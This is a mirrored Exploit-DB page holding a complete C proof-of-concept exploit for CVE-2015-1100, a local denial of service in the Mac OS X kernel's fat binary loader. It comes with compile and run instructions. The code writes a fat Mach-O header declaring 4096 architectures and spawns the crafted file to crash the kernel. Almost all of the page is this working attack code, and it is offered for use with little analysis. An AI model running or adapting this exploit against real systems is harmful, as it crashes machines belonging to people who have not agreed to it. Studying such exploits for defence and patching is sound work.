Apple Mac OSX – Local Denial of Service

  • 作者: Maxime Villard
    日期: 2015-04-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36814/
  • /*
     * 2015, Maxime Villard, CVE-2015-1100
     * Local DoS caused by a missing limit check in the fat loader of the Mac OS X
     * Kernel.
     *
     *$ gcc -o Mac-OS-X_Fat-DoS Mac-OS-X_Fat-DoS.c
     *$ ./Mac-OS-X_Fat-DoS BINARY-NAME
     *
     * Obtained from: http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.c
     * Analysis:http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.txt
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <fcntl.h>
    #include <spawn.h>
    #include <unistd.h>
    #include <err.h>
    #include <mach-o/fat.h>
    #include <sys/stat.h>
    
    #define MAXNUM (4096)
    #define MAXNUM0 (OSSwapBigToHostInt32(MAXNUM))
    
    void CraftBinary(char *name)
    {
    struct fat_header fat_header;
    struct fat_arch *arches;
    size_t i;
    int fd;
    
    memset(&fat_header, 0, sizeof(fat_header));
    fat_header.magic = FAT_MAGIC;
    fat_header.nfat_arch = 4096;
    
    if ((arches = calloc(MAXNUM0, sizeof(struct fat_arch))) == NULL)
    err(-1, "calloc");
    for (i = 0; i < MAXNUM0; i++)
    arches[i].cputype = CPU_TYPE_I386;
    
    if ((fd = open(name, O_CREAT|O_RDWR)) == -1)
    err(-1, "open");
    if (write(fd, &fat_header, sizeof(fat_header)) == -1)
    err(-1, "write");
    if (write(fd, arches, sizeof(struct fat_arch) * MAXNUM0) == -1)
    err(-1, "write");
    if (fchmod(fd, S_IXUSR) == -1)
    err(-1, "fchmod");
    close(fd);
    free(arches);
    }
    
    void SpawnBinary(char *name)
    {
    cpu_type_t cpus[] = { CPU_TYPE_HPPA, 0 };
    char *argv[] = { "Crazy Horse", NULL };
    char *envp[] = { NULL };
    posix_spawnattr_t attr;
    size_t set = 0;
    int ret;
    
    if (posix_spawnattr_init(&attr) == -1)
    err(-1, "posix_spawnattr_init");
    if (posix_spawnattr_setbinpref_np(&attr, 2, cpus, &set) == -1)
    err(-1, "posix_spawnattr_setbinpref_np");
    fprintf(stderr, "----------- Goodbye! -----------\n");
    ret = posix_spawn(NULL, name, NULL, &attr, argv, envp);
    fprintf(stderr, "Hum, still alive. You are lucky today! ret = %d\n", ret);
    }
    
    int main(int argc, char *argv[])
    {
    if (argc != 2) {
    printf("Usage: %s BINARY-NAME\n", argv[0]);
    } else {
    CraftBinary(argv[1]);
    SpawnBinary(argv[1]);
    }
    }